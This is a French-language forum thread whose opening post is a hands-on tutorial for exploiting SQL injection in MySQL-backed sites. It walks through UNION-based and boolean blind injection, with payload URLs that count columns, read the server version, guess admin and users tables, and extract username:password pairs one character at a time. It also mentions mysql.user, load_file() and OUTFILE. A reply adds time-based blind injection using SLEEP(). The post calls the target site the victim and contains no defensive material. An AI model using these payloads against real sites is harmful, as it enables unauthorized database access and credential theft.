Annonce

Réduire
Aucune annonce.

Injection SQL et BLIND SQL - à la mano

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Injection SQL et BLIND SQL - à la mano

    *** Sommaire ***

    __________
    Chapitre I)
    __________

    0) Description : SQL INJECTION.
    1) Comment reconnaitre qu'un site est vulnérable a un SQL ?
    2) Trouver le nombre de colomns.
    3) Utiliser la fonction UNION.
    4) Trouver la version du MySQL.
    5) Trouver les noms des colomns et tables et l'exploitation.

    __________
    Chapitre II)
    __________

    1) Description : Blind SQL INJECTION.
    2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?
    3) Trouver la version du MySQL.
    4) Tester si la sélection marche.
    5) Trouver les noms des colomns et tables et l'exploitation.


    -----------------------------
    >>>>>>>>>>>>>>>>>>>>>>>>>>>>
    -----------------------------


    __________
    Chapitre I)
    __________

    0) Description : SQL INJECTION.


    L'injection SQL est l'une des failles les plus connues sur le web.

    Elle permet d'exécuter la requête dans la base de données et d'avoir grâce à l'URL certains renseignements confidentiels et bien d'autres...

    =============>

    1) Comment reconnaître qu'un site est vulnérable à une injection SQL ?

    Prenons un exemple d'un site par exemple :

    http://www.site-exemple.com/news.php?id=9

    Maintenant, il faudra tester si ce site est vulnérable ; nous ajoutons simplement un ' (quote).

    Donc l'exemple deviendra :

    http://www.site-exemple.com/news.php?id=9' <= quote ajouté

    Maintenant, si vous appercevez une erreur du genre :

    "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

    Ou une erreur de cet acabit, cela signifie que ce site est vulnérable !

    =============>

    2) Trouver le nombre de columns.

    Pour trouver le nombre de columns, on utilisera "ORDER BY" qui demande à la base un résultat.

    Comment utilise-t-on cela ? Eh bien simplement en augmentant le nombre jusqu'à ce que nous obtenons une erreur comme dans l'exemple ci-dessous :

    http://www.site-exemple.com/news.php?id=9 order by 1/* <-- no error

    http://www.site-exemple.com/news.php?id=9 order by 2/* <-- no error

    http://www.site-exemple.com/news.php?id=9 order by 3/* <-- no error

    http://www.site-exemple.com/news.php?id=9 order by 4/* <-- error (une erreur du genre: Unknown column '4' in 'order cause' ou un truc du genre)

    Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur la column 4.

    =============>

    3) Utiliser la fonction UNION.

    Passons aux choses un peu plus sérieuses :

    Avec la fonction "UNION", nous avons la possibilité de sélectionner plusieurs données en une seule requête SQL.

    Donc nous aurons :

    http://www.site-exemple.com/news.php?id=9 union all select 1,2,3/*

    (nous avions donc déjà trouvé que le nombre de column est 3).

    Si nous voyons quelques chiffres sur l'écran, c'est-à-dire 1 ou 2 ou 3 : alors l'union a fonctionné.

    Si cela ne fonctionne pas, essayez de changer le /* par --

    =============>

    4) Trouver la version du MySQL.

    Disons que nous avons le réussi l'étape numéro 2, maintenant il faudra connaitre la version de MySQL sur le site web de la victime, pour cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre :

    4.1.33-log or 5.0.45 ou du meme type...

    alors l'exemple sera :

    http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3/*

    La version de MySQL utilisée devrait être devant vos yeux.

    =============>

    5) Trouver les noms des columns et des tables, puis, exploitation de la faille.

    Si la version de MySQL est < 5 ( 4.1.33, 4.1.12...), vous devez savoir que les noms de table communs pour ces versions sont: user/s , admin/s , member/s...

    Pour les columns c'est : username, user, usr, user_name, password, pass, passwd, pwd...

    Passons à son exploitation :

    Cherchons la table d'admin :

    http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin/*

    Si vous appercevez le numero 2, alors cela signifie que vous venez de trouver la table d'admin !

    Cherchons les noms des columns :

    http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin/*

    (si vous avez une erreur ici , alors essayer un autre nom de column)

    Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou superadmin, c'est bon.

    Maintenant pour la column de mot de passe :

    http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin/*

    (si vous avez une erreur ici, alors essayez un autre nom de column)

    Si nous avons le password à l'écran du (en hash ou en clair), alors c'est bon, le type varie en fonction de la base de donnée.

    Il ne reste donc plus qu'à les mettre ensemble avec 0x3a , qui est une valeur de hex pour la colonne.

    http://www.site-exemple.com/news.php?id=9 union all select 1,concat(username,0x3a,password),3 from admin/*

    Vous allez voir quelque-chose comme :

    usernameassword , admin:admin , admin:unhash, etc.

    =============>
    =============>

    __________
    Chapitre II)
    __________

    1) Description : Blind SQL INJECTION.


    Le blind se définit comme une injection SQL normale sauf qu'elle est un peu plus complexe.

    =============>

    2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?

    Prenons un exemple :

    http://www.site-exemple.com/news.php?id=9

    Quand on ouvre la page, nous voyons des articles, images et autres...

    Vous pouvez donc tester le blind :

    http://www.site-exemple.com/news.php?id=9 and 1=1 <--- ceci est toujours vrai !

    Si la page se charge normalement , c'est normal, l'exploit n'est pas faisable.

    http://www.site-exemple.com/news.php?id=9 and 1=2 <--- ceci est faux

    Donc si quelques textes ou images ou quoi que ce soit est oublié ou déformé, alors ce site est exploitable par le blind SQL.

    =============>

    3) Trouver la version du MySQL.

    Pour avoir la version dans le blind, nous utiliserons le "substring".

    http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=4

    Si la page s'affiche normalement, alors c'est une version 4.

    http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=5

    Si la page s'affiche normalement, alors c'est une version 5.

    =============>

    4) Tester si la sélection fonctionne.

    Quand le select ne fonctionne pas, nous utiliserons donc le subselect.

    Exemple:

    http://www.site-exemple.com/news.php?id=9 and (select 1)=1

    si la page se charge normalement, alors le subselect marche.

    et si nous voulons voir si nous avons l'accès au mysql.user, on fait :

    Exemple:

    http://www.site-exemple.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1

    Si la page se charge normalement, alors nous avons accès au mysql.user et nous pourrons capturer des mots de passe en utilisant la fonction load_file() et OUTFILE.

    =============>

    5) Trouver les noms des columns et des tables, puis exploitation.

    Exemple :

    http://www.site-exemple.com/news.php?id=9 and (select 1 from users limit 0,1)=1

    Si la page se charge normalement sans erreur alors la table users existe.

    Si vous obtenez une erreur , alors vous devez changer le users et mettre autre chose, a vous de deviner.

    Disons que nous avons trouvé la table. Maintenant nous avons besoin du nom de la colonne.

    Tout comme pour le nom de la table, nous commencons la devinette !

    http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

    Si la page se charge normalement, alors le nom de la colonne est password.

    Ainsi, nous avons la table et la colonne : exploitons.

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

    Nous continuons a changer le "80" jusqu'a trouver une erreur. Suivez bien l'exemple :

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

    Nous avons eu une fois de plus un chargement normal : on continue.

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

    Idem, continuons.

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

    ERROR !

    Donc le premier caractère dans username est char(99) ; si vous convertissez cela en ascii nous avons la lettre "c" !

    Vous commencez à saisir le principe, n'est-ce pas ?!! Continuons !

    Maintenant cherchons le second caractère :

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

    (notez que je change ,1,1 a ,2,1 pour avoir le second caractère)

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>107

    Chargement normal. On continue.

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>104

    Chargement normal. On continue

    http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105

    ERROR !

    Donc nous savons dès à présent que le deuxieme caractère est char(105) ; c'est donc 'i'.

    Le mot de passe admin commence donc par "ci".

    Faites cela en mode croissant jusqu'a ce que vous obteniez l'entièreté du password admin.

    Si < 0 retourne faux, nous avons atteint la fin, vous avez le password !
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|

  • #2
    Injection SQL, la base.
    Merci.
    "Exeunt les délires de l'amour entés sur une pratique non maîtrisée du sexe. Exit derechef la passion voluptueuse qui fait voir l'être aimé toujours autre qu'il n'est et qui pousse à posséder ce qu'on ne peut pas posséder." Epicure

    Commentaire


    • #3
      Merci !! Envie de relire, sa va rafraichir ma memoire ^^

      Commentaire


      • #4
        Pour résumer:

        Il existe des injections SQL hyper confortables dans lesquelles on peut lire le résultat de sa requête: les injections SQL.
        Il existe des injections SQL plus chiantes dans lesquelles on ne peut pas lire le résultat de la requête: les blind injections SQL
        Parmi elle, certaines modifient le contenu de la page selon qu'elles retournent TRUE ou FALSE. On peut alors bruteforcer des valeurs: ce sont les boolean based injections sql.

        Il existe aussi des blind injections sql qui ne modifient pas le contenu de la page selon qu'elles retournent TRUE ou FALSE. Alors là ça se gâte, parce que non seulement on ne voit pas ce que ramène la requête, mais en plus leur résultat n'a aucune influence sur le contenu du retour serveur. A priori on n'a aucun moyen d'exploiter ce genre d'injection.

        Et bien si! Grâce au time-based blind sql injections!

        Le principe c'est quoi? Il faut parvenir à déterminer si une requête renvoie TRUE ou FALSE. Pour ce faire, on utilise la fonction SLEEP() de MySQL. Ca donne ça:

        SELECT * FROM USERS WHERE ID = '1' AND PASSWORD LIKE a% AND SLEEP(5)--'

        Que se passe-t-il? MySQL va interpréter séquentiellement toutes les conditions passées dans le WHERE et elle va s'arrêter à la première condition fausse. Donc si la condition "PASSWORD LIKE a%" est vraie, elle exécutera la condition suivante, à savoir SLEEP(5). Et nous à l'autre bout du tuyau, on attendra 5 secondes avant de recevoir notre réponse. Si au contraire, la condition "PASSWORD LIKE a%" est fausse, MySQL n'évaluera pas la condition suivante et le retour sera immédiat.

        Le test est donc de savoir si la requête met 5 secondes de plus que les autres à s'exécuter. Si c'est le cas, la requête renvoie TRUE. Dans notre exemple, ça veut dire que le mot de passe commence par un a. Sinon, on recommence avec b, puis c, puis d, etc.. (d'ailleurs en général j'ordonne les caractères pour le bruteforce en fonction de leur fréquence d'apparition combinée en langue française et anglaise. Ca donne ça: eatsinorludhcmpfgbwyvqkxjz).

        Ce type d'injection est plus fastidieux, certes, mais il passera toujours, alors que les autres non.

        Commentaire


        • #5
          Envoyé par Beru Voir le message
          time-based blind sql injections!

          Le principe c'est quoi? Il faut parvenir à déterminer si une requête renvoie TRUE ou FALSE. Pour ce faire, on utilise la fonction SLEEP() de MySQL. Ca donne ça:

          SELECT * FROM USERS WHERE ID = '1' AND PASSWORD LIKE a% AND SLEEP(5)--'

          Que se passe-t-il? MySQL va interpréter séquentiellement toutes les conditions passées dans le WHERE et elle va s'arrêter à la première condition fausse. Donc si la condition "PASSWORD LIKE a%" est vraie, elle exécutera la condition suivante, à savoir SLEEP(5). Et nous à l'autre bout du tuyau, on attendra 5 secondes avant de recevoir notre réponse. Si au contraire, la condition "PASSWORD LIKE a%" est fausse, MySQL n'évaluera pas la condition suivante et le retour sera immédiat.
          Merci, ingénieux

          Ca faisais bien longtemps que je n'avais pas lu une petite 'sucrerie' de ce genre *dit-il d'un ton las*
          sigpic

          Cyprium Download Link

          Plus j'étudie plus j'me rends compte que je n'sais rien.

          †|

          Commentaire


          • #6
            Bonsoir, Beru super cette explication pour la TB-BSI , franchement l'explication ne peut pas être plus claire que ça.
            sigpic

            Commentaire

            Chargement...
            X